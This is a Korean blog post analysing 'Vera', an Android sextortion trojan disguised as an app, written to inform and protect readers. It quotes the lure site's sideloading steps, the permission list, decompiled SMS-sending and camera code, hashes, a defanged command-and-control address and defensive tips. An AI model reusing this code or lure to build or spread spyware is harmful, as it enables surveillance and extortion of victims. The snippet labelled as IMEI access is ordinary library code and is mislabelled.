꿈을꾸는 파랑새

오늘은  어플로 위장한 몸캠 피싱 악성코드인 Vera에 대해 글을 적어 보겠습니다. 먼저 해당 악성코드를 다운하려면 기존의 user agent switcher 같은 걸로 접속을 하면 APK 파일을 다운로드 할 수가 없고 직접 스마트폰을 가지고 접속을 하면 해당 악성코드를 다운로드 할 수가 있게 활성화됩니다.
일단 해당 사이트에 접속하면 Vera 앱은 불법 서비스로 제한되어 스토어에 등록제한 되어 다운로드 서비스를 제공합니다. 라고 돼 있으면 설치하는 방법이 어려우신 분들은 실시간 상담으로 문의하시기 바라면 설치에 불안감이 있으시면 V3 보안 프로그램 실행 후 이용 바랍니다. 라고 적혀져 있지만 실제로 V3에서는 해당 어플을 Trojan/Android.SMSstealer.1024285이라는 정식 탐지명으로 탐지하고 있습니다.
그리고 해당 사이트에서는 설치 팁이라고 하면서 악성코드 설치 방법을 친절하게 가르쳐 주고 있습니다.
※설치 팁 : 다운로드후 상단메뉴를 내리시면 다운로드된 Vera.zip 파일을
설치 후 압축해제 후 Vera.apk 를 설치시도해주시면 됩니다.
설치시도하실 때 "출처를 알 수 없는 앱" 팝업을 이번만 허용 클릭 후
정상적으로 설치가 진행됩니다.
※내 파일 설치 팁 : 설치 후 Vera.apk 파일을 찾지 못한 경우
"내 파일" 앱을 들어가시면 확인하실 수 있으시며
내 파일 앱은 보통 Samsung 폴더그룹 및 따로 있습니다.
라고 적혀져 있는 것을 볼 수가 있으며 아이폰 사용자 분들은 아이폰 사용하시는 고객님은 따로 문의하시면
안내 도와드리겠습니다. 라고 돼 있습니다. 즉 아이폰 사용자도 노리는 것을 볼 수가 있습니다.
먼저 해당 몸캠 피싱 악성코드 안드로이드 권한을 보겠습니다.
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>

V3 몸캠 피싱 악성코드 진단

안드로이드 권한을 보면 그냥 사실상 스마트폰의 권한이 다 넘어가는 것을 볼 수가 있습니다. 위치, 문자 접근, 연락처 접근, 와이 파이 권한,오디오,블루투스설정등 사실상 스마트폰 권한은 악의적인 목적으로 가진 사람에게 넘어가는 것이나 다름이 없습니다.
앱이름: Vera
패키지 이름:com.wlset.info
입니다.
악성코드 안드로이드 해쉬값은 다음과 같습니다.
파일명: veradown.apk
CRC32:241afc38
MD5:c996f6a2787e755bff241018f54c850b
SHA-1:a86b16798fc4b3170c8c2a3a7a86525bbf50ce4b
SHA-256:208d68c431d58e6d311ae0f2574fab85a1205fc1597e10690116bf406eb5499c
SHA-512:05382fcd64a4e9c4ca846cfb171f0291b2fb7fa1f72805b90b74052547957593028e750785a9577c53295322459e016c0ab3b6b285629fe5a25e365319fc5482
입니다.
먼저 SMS 즉 문자에 접근하는 부분은 com.wlset.info.utils.y에 있으면 코드들은 다음과 같습니다.

문자 접근

public static boolean e(String paramString1, String paramString2, Context paramContext) {
if (!TextUtils.isEmpty(paramString1)) {
Iterator<String> iterator;
if (TextUtils.isEmpty(paramString2))
return false;
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("send sms phoneNumber:");
stringBuilder.append(paramString1);
u.a(stringBuilder.toString());
stringBuilder = new StringBuilder();
stringBuilder.append("send sms message:");
stringBuilder.append(paramString2);
u.a(stringBuilder.toString());
SmsManager smsManager = SmsManager.getDefault();
PendingIntent pendingIntent2 = PendingIntent.getBroadcast(paramContext, 0, new Intent("SENT_SMS_ACTION"), 0);
PendingIntent pendingIntent1 = PendingIntent.getBroadcast(paramContext, 0, new Intent("DELIVERED_SMS_ACTION"), 0);
if (paramString2.length() > 70) {
iterator = smsManager.divideMessage(paramString2).iterator();
while (iterator.hasNext())
smsManager.sendTextMessage(paramString1, null, iterator.next(), pendingIntent2, pendingIntent1);
} else {
smsManager.sendTextMessage(paramString1, null, (String)iterator, pendingIntent2, pendingIntent1);
}
return true;
}
return false;
}
스마트폰 카메라에 관한 코드들은 다음과 같습니다.com.wlset.info.camera.CameraSurfaceView 에 코드들이 있습니다.

스마트폰 카메라 접근

private boolean z() {
u.a("startPreview ... ");
Camera camera = this.g;
if (camera == null)
return false;
try {
Camera.Parameters parameters = camera.getParameters();
this.h = parameters;
parameters.setPreviewFormat(this.k);
this.h.setRotation(0);
List<Camera.Size> list2 = this.h.getSupportedPreviewSizes();
Camera camera1 = this.g;
camera1.getClass();
Camera.Size size2 = c.a(list2, 1000, new Camera.Size(camera1, u[0], u[1]));
this.h.setPreviewSize(size2.width, size2.height);
this.i = new byte[size2.width * size2.height * ImageFormat.getBitsPerPixel(this.k) / 8];
List<Camera.Size> list1 = this.h.getSupportedPictureSizes();
camera1 = this.g;
camera1.getClass();
Camera.Size size1 = c.a(list1, 1500, new Camera.Size(camera1, v[0], v[1]));
this.h.setPictureSize(size1.width, size1.height);
if (c.c(this.h.getSupportedPictureFormats(), 256)) {
this.h.setPictureFormat(256);
this.h.setJpegQuality(100);
}
if (c.b(this.h.getSupportedFocusModes(), "auto"))
this.h.setFocusMode("auto");
int i = this.a;
if (i != 2) {
this.h.set("orientation", "portrait");
this.g.setDisplayOrientation(90);
} else {
this.h.set("orientation", "landscape");
this.g.setDisplayOrientation(0);
}
if (this.e) {
this.g.setPreviewTexture(this.d);
this.g.addCallbackBuffer(this.i);
} else {
this.g.setPreviewDisplay(this.c);
}
this.g.setParameters(this.h);
this.g.startPreview();
if (this.p != CameraState.START) {
CameraState cameraState = CameraState.START;
this.p = cameraState;
if (this.q != null)
this.q.a(cameraState);
}
try {
String str = this.g.getParameters().getFocusMode();
if ("auto".equals(str) || "macro".equals(str))
this.g.autoFocus(null);
return true;
} catch (Exception exception) {
f f1 = this.o;
if (f1 != null)
f1.a(exception);
u.b(exception);
return true;
}
} catch (Exception exception) {
u.b(exception);
f f1 = this.o;
if (f1 != null)
f1.a(exception);
y();
return false;
}
}
스마트폰 IMEI 정보에 접근하는 부분은 androidx.appcompat.app.AppCompatDelegateImpl,androidx.appcompat.app.ToolbarActionBar,androidx.appcompat.app.WindowDecorActionBar에 있으면 androidx.appcompat.app.AppCompatDelegateImpl의 코드를 보면 다음과 같이 있습니다.

스마트폰 IMEI 접근

if (decorContentParent1 != null) {
i = decorContentParent1.getDeviceId();
} else {
i = -1;
}
if (KeyCharacterMap.load(i).getKeyboardType() != 1) {
bool = true;
} else {
bool = false;
}
((PanelFeatureState)decorContentParent).qwertyMode = bool;
((PanelFeatureState)decorContentParent).menu.setQwertyMode(bool);
((PanelFeatureState)decorContentParent).menu.startDispatchingItemsChanged();
}
((PanelFeatureState)decorContentParent).isPrepared = true;
((PanelFeatureState)decorContentParent).isHandled = false;
this.mPreparedPanel = (PanelFeatureState)decorContentParent;
return true;
}
악성코드 C&C 주소는 다음과 같습니다.
hxxp://1.234.82(.)23:8010
이며 해당 몸캠 악성코드에 포함된 주소들은 다음과 같습니다.
K-.Ki(.)Ki/K-.
odoca(.)com/C.crl0
hxxp://restapi.amap(.)com/v3/place/text?
hxxp://loc(a)lhost/
hxxp://lbs.amap(.)com/api/android-location-sdk/guide/utilities/errorcode
hxxp://aps.testing(.)amap.com/collection/collectData?src=baseCol&ver=v74&
vnd.android.cursor(.)item/phone_v2
vnd.android.cursor(.)item/name
hxxp://restapi(.)amap.com
hxxp://175.126.146(.)147/
hxxps://www.verisign(.)com/cps04000000Z
hxxp://restapi.amap(.)com/v3/iasdkauth
hxxp://dualstack.apilocate(.)amap.com/mobile/binary
Ly(.)xLy/xa
hxxp://lame(.)sf.net
hxxp://1.234.82(.)23:8010
hxxp://argus.agoralab(.)co/vosdk/public/report?listener=%u&venderID=%s&channelName=%s
hxxp://apilocate.amap(.)com/mobile/binary
hxxp://dualstack-restapi(.)amap.com/v3/geocode/regeo
hxxp://EVIntl-ccrt.gwww.gicert(.)com/1ocsp.verisign.com09rapidssl.cos.godaddy.com/repository/0
hxxps://restapi(.)amap.com/v3/iasdkauth
hxxp://restapi.amap(.)com/v3/config/district?
J(.)com/resources/cps (c)00
hxxp://abroad.apilocate.amap(.)com/mobile/binary
cgicol.amap(.)com/collection/collectData?src=baseCol&ver=v74&
hxxp://1.234.82(.)23:88
www.baidu(.)com
hxxp://restapi.amap(.)com/v3/place/around?
hxxp://ocsp.godaddy(.)com/0J
www.google(.)com
hxxp://restapi.amap(.)com/v3/geocode/regeo
hxxp://schemas.android(.)com/apk/res/android
hxxp://argus.agoralab(.)co/vosdk/public/report?speaker=%u&listener=%u&venderID=%s&channelName=%s
입니다.

Bytecode Viewer 본 악성코드 주소

그리고 보면 查看错误码说明이라는 부분이 있는 것을 보면 중국에서 제작된 앱이 아닐까 생각을 합니다.查看错误码说明을 구글 번역기로 돌려 보면 오류 코드 설명 보기라도 번역이 됩니다.
2021-08-20 14:55:48 UTC 기준 바이러스토탈에 진단을 하는 업체들은 다음과 같습니다.
AhnLab-V3:Trojan/Android.SMSstealer.1024285
ESET-NOD32:A Variant Of Android/Spy.Agent.BKN
Fortinet:Android/Agent.BKN!tr
Ikarus:Trojan.AndroidOS.Agent
K7GW:Trojan ( 005536d61 )
McAfee:Artemis!C996F6A2787E
McAfee-GW-Edition:Artemis!C996F6A2787E
Symantec Mobile Insight:AdLibrary:Generisk
Trustlook:Android.PUA.General
기본적으로 정상적인 탐지명으로 탐지를 하고 있거나 사전 방역으로 탐지하고 있습니다.
일단 기본적인 보안 수칙을 지킨다고 하면 스마트폰이 악성코드에 감염되는 것을 최소화할 수가 있습니다.
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.
기본적으로 이름 있는 백신 앱을 설치하기를 권장하면 최소 안랩의 V3는 설치하시는 것을 추천 드리겠습니다.
그리고 이번 악성코드들은 성xx사이트에서 유포가 되고 있으면 한글을 보면 띄어쓰기 가 이상한것을 볼수가 있을것입니다.그리고 이런 문자들이 오면 호기심이 생겨서 설치하는 어리석은 행동을 하지 말았으면 합니다.그리고 해당 악성코드 에서는 그 흔한 인증서도 발견을 하지 못했습니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band